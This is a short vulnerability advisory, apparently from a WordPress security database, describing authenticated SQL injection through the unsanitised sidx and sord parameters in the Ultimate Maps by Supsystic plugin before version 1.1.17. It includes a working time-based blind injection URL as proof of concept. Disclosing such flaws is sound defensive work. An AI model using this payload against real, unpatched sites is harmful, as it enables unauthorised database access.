Ultimate Maps by Supsystic < 1.1.17 - Authenticated SQL Injections
Description
The GET parameters sidx and sord were used in a SQL statement without being sanitised when searching for maps in the dashboard, leading to an authenticated SQL Injection issues.
Proof of Concept
https://example.com/wp-admin/admin-ajax.php?mod=maps&action=getListForTbl&pl=ums&reqType=ajax&search%5Btext_like%5D=a&_search=false&nd=1612781069571&rows=10&page=0&sord=desc&sidx=id%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)
Affects Plugins
Fixed in version 1.1.17✓
References
Classification
Miscellaneous
Timeline
Publicly Published
2021-02-08 (about 2 months ago)
Added
2021-02-08 (about 2 months ago)
Last Updated
2021-02-10 (about 2 months ago)